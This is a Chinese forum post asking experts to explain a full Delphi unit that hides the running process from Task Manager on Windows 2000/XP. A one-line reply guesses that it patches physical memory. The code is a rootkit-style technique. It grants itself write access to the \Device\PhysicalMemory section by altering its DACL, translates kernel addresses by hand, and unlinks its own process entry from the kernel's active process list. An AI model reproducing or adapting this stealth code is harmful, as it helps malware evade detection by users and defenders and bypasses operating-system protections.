请高手帮忙看看下面的代码！ ( 积分: 20 )

unit UHideProcess;

interface

function MyHideProcess: Boolean;

implementation

uses
Windows, SysUtils, Variants, Classes, AclAPI, accCtrl;

type
NTSTATUS = LongInt;

const
//NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
STATUS_INFO_LENGTH_MISMATCH = NTSTATUS($C0000004);
STATUS_ACCESS_DENIED = NTSTATUS($C0000022);
OBJ_INHERIT = $00000002;
OBJ_PERMANENT = $00000010;
OBJ_EXCLUSIVE = $00000020;
OBJ_CASE_INSENSITIVE = $00000040;
OBJ_OPENIF = $00000080;
OBJ_OPENLINK = $00000100;
OBJ_KERNEL_HANDLE = $00000200;
OBJ_VALID_ATTRIBUTES = $000003F2;

type
PIO_STATUS_BLOCK = ^IO_STATUS_BLOCK;
IO_STATUS_BLOCK = record
Status: NTSTATUS;
FObject: DWORD;
end;

PUNICODE_STRING = ^UNICODE_STRING;
UNICODE_STRING = record
Length: Word;
MaximumLength: Word;
Buffer: PWideChar;
end;

POBJECT_ATTRIBUTES = ^OBJECT_ATTRIBUTES;
OBJECT_ATTRIBUTES = record
Length: DWORD;
RootDirectory: Pointer;
ObjectName: PUNICODE_STRING;
Attributes: DWORD;
SecurityDescriptor: Pointer;
SecurityQualityOfService: Pointer;
end;

TZwOpenSection = function(SectionHandle: PHandle;
DesiredAccess: ACCESS_MASK;
ObjectAttributes: POBJECT_ATTRIBUTES): NTSTATUS; stdcall;
TRTLINITUNICODESTRING = procedure(DestinationString: PUNICODE_STRING;
SourceString: PWideChar); stdcall;

var
RtlInitUnicodeString: TRTLINITUNICODESTRING = nil;
ZwOpenSection: TZwOpenSection = nil;
g_hNtDLL: THandle = 0;
g_pMapPhysicalMemory: Pointer = nil;
g_hMPM: THandle = 0;
g_hMPM2: THandle = 0;
g_osvi: OSVERSIONINFO;
b_hide: Boolean = false;
//---------------------------------------------------------------------------

function InitNTDLL: Boolean;
begin
g_hNtDLL := LoadLibrary('ntdll.dll');

if 0 = g_hNtDLL then
begin
Result := false;
Exit;
end;

RtlInitUnicodeString := GetProcAddress(g_hNtDLL, 'RtlInitUnicodeString');
ZwOpenSection := GetProcAddress(g_hNtDLL, 'ZwOpenSection');

Result := True;
end;
//---------------------------------------------------------------------------

procedure CloseNTDLL;
begin
if (0 <> g_hNtDLL) then
FreeLibrary(g_hNtDLL);
g_hNtDLL := 0;
end;
//---------------------------------------------------------------------------

procedure SetPhyscialMemorySectionCanBeWrited(hSection: THandle);
var
pDacl: PACL;
pSD: PPSECURITY_DESCRIPTOR;
pNewDacl: PACL;
dwRes: DWORD;
ea: EXPLICIT_ACCESS;
begin
pDacl := nil;
pSD := nil;
pNewDacl := nil;

dwRes := GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pDacl, nil, pSD);

if ERROR_SUCCESS <> dwRes then
begin
if Assigned(pSD) then
LocalFree(Hlocal(pSD^));
if Assigned(pNewDacl) then
LocalFree(HLocal(pNewDacl));
end;

ZeroMemory(@ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions := SECTION_MAP_WRITE;
ea.grfAccessMode := GRANT_ACCESS;
ea.grfInheritance := NO_INHERITANCE;
ea.Trustee.TrusteeForm := TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType := TRUSTEE_IS_USER;
ea.Trustee.ptstrName := 'CURRENT_USER';

dwRes := SetEntriesInAcl(1, @ea, pDacl, pNewDacl);

if ERROR_SUCCESS <> dwRes then
begin
if Assigned(pSD) then
LocalFree(Hlocal(pSD^));
if Assigned(pNewDacl) then
LocalFree(HLocal(pNewDacl));
end;

dwRes := SetSecurityInfo

(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pNewDacl, nil);

if ERROR_SUCCESS <> dwRes then
begin
if Assigned(pSD) then
LocalFree(Hlocal(pSD^));
if Assigned(pNewDacl) then
LocalFree(HLocal(pNewDacl));
end;

end;
//---------------------------------------------------------------------------

function OpenPhysicalMemory: THandle;
var
status: NTSTATUS;
physmemString: UNICODE_STRING;
attributes: OBJECT_ATTRIBUTES;
PhyDirectory: DWORD;
begin
g_osvi.dwOSVersionInfoSize := sizeof(OSVERSIONINFO);
GetVersionEx(g_osvi);

if (5 <> g_osvi.dwMajorVersion) then
begin
Result := 0;
Exit;
end;

case g_osvi.dwMinorVersion of
0: PhyDirectory := $30000;
1: PhyDirectory := $39000;
else
begin
Result := 0;
Exit;
end;
end;

RtlInitUnicodeString(@physmemString, '/Device/PhysicalMemory');

attributes.Length := SizeOf(OBJECT_ATTRIBUTES);
attributes.RootDirectory := nil;
attributes.ObjectName := @physmemString;
attributes.Attributes := 0;
attributes.SecurityDescriptor := nil;
attributes.SecurityQualityOfService := nil;

status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);

if (status = STATUS_ACCESS_DENIED) then
begin
ZwOpenSection(@g_hMPM, READ_CONTROL or WRITE_DAC, @attributes);
SetPhyscialMemorySectionCanBeWrited(g_hMPM);
CloseHandle(g_hMPM);

status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);
end;

if not (LongInt(status) >= 0) then
begin
Result := 0;
Exit;
end;

g_pMapPhysicalMemory := MapViewOfFile(g_hMPM,
FILE_MAP_READ or FILE_MAP_WRITE, 0, PhyDirectory, $1000);

if (g_pMapPhysicalMemory = nil) then
begin
Result := 0;
Exit;
end;

Result := g_hMPM;
end;
//---------------------------------------------------------------------------
function LinearToPhys(BaseAddress: PULONG; addr: Pointer): Pointer;
var
VAddr, PGDE, PTE, PAddr, tmp: DWORD;
begin
VAddr := DWORD(addr);
// PGDE := BaseAddress[VAddr shr 22];
PGDE := PULONG(DWORD(BaseAddress) + (VAddr shr 22) * SizeOf(ULONG))^; // Modify by dot.

if 0 = (PGDE and 1) then
begin
Result := nil;
Exit;
end;

tmp := PGDE and $00000080;

if (0 <> tmp) then
begin
PAddr := (PGDE and $FFC00000) + (VAddr and $003FFFFF);
end
else
begin
PGDE := DWORD(MapViewOfFile(g_hMPM, 4, 0, PGDE and $FFFFF000, $1000));
// PTE := (PDWORD(PGDE))[(VAddr and $003FF000) shr 12];
PTE := PDWORD(PGDE + ((VAddr and $003FF000) shr 12) * SizeOf(DWord))^; // Modify by dot.

if (0 = (PTE and 1)) then
begin
Result := nil;
Exit;
end;

PAddr := (PTE and $FFFFF000) + (VAddr and $00000FFF);
UnmapViewOfFile(Pointer(PGDE));
end;

Result := Pointer(PAddr);
end;
//---------------------------------------------------------------------------

function GetData(addr: Pointer): DWORD;
var
phys, ret: DWORD;
tmp: PDWORD;
begin
phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));
tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_READ or FILE_MAP_WRITE, 0,
phys and $FFFFF000, $1000));

if (nil = tmp) then
begin
Result := 0;
Exit;
end;

// ret := tmp[(phys and $FFF) shr 2];
ret := PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * SizeOf(DWord))^; // Modify by dot.
UnmapViewOfFile(tmp);

Result := ret;
end;
//---------------------------------------------------------------------------

function SetData(addr: Pointer; data: DWORD): Boolean;
var
phys: DWORD;
tmp: PDWORD;
begin
phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));
tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys and $FFFFF000, $1000));

if (nil = tmp) then
begin
Result := false;
Exit;
end;

// tmp[(phys and $FFF) shr 2] := data;
PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * SizeOf(DWord))^ := data; // Modify by dot.
UnmapViewOfFile(tmp);

Result := TRUE;
end;
//---------------------------------------------------------------------------
{long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
begin
ExitProcess(0);
return 1 ;
end }
//---------------------------------------------------------------------------

function YHideProcess: Boolean;
var
thread, process: DWORD;
fw, bw: DWORD;
begin
// SetUnhandledExceptionFilter(exeception);
if (FALSE = InitNTDLL) then
begin
Result := FALSE;
Exit;
end;

if (0 = OpenPhysicalMemory) then
begin
Result := FALSE;
Exit;
end;

thread := GetData(Pointer($FFDFF124)); //kteb
process := GetData(Pointer(thread + $44)); //kpeb

if (0 = g_osvi.dwMinorVersion) then
begin
fw := GetData(Pointer(process + $A0));
bw := GetData(Pointer(process + $A4));

SetData(Pointer(fw + 4), bw);
SetData(Pointer(bw), fw);

Result := TRUE;
end
else if (1 = g_osvi.dwMinorVersion) then
begin
fw := GetData(Pointer(process + $88));
bw := GetData(Pointer(process + $8C));

SetData(Pointer(fw + 4), bw);
SetData(Pointer(bw), fw);

Result := TRUE;
end
else
begin
Result := False;
end;

CloseHandle(g_hMPM);
CloseNTDLL;
end;

function MyHideProcess: Boolean;
begin
if not b_hide then
begin
b_hide := YHideProcess;
end;

Result := b_hide;
end;

end.

这段代码能够实现2000和NT下进程在任务管理器中隐藏，，帮我解释下是为什么？

估计是修改物理内存以达到隐藏目的,兼容性应该不好.